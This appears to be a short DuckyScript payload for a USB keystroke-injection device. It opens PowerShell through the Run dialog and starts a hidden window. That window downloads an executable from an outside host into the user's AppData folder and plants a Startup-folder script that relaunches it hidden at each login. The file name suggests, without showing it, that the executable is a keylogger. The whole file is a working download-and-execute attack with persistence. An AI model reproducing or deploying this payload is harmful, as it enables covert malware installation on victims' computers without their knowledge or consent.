20 lines
670 B
Plaintext
20 lines
670 B
Plaintext
REM open powershell
|
|
WINDOWS r
|
|
DELAY 1000
|
|
STRING powershell
|
|
ENTER
|
|
DELAY 3000
|
|
|
|
REM run rest in background
|
|
STRING powershell.exe -WindowStyle hidden {
|
|
STRING $OpDir = "$(pwd)\AppData\Local\keys";
|
|
|
|
REM download client.exe file
|
|
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe";
|
|
|
|
STRING Add-Content -Path "$(pwd)\AppData\Roaming\Windows\Start Menu\Programs\Startup\keys.cmd" -Value "powershell.exe -WindowStyle hidden { Start-Process -FilePath \"$OpDir\keys.exe\" -NoNewWindow }";
|
|
|
|
REM client.exe file (closes automatically)
|
|
STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow }
|
|
ENTER
|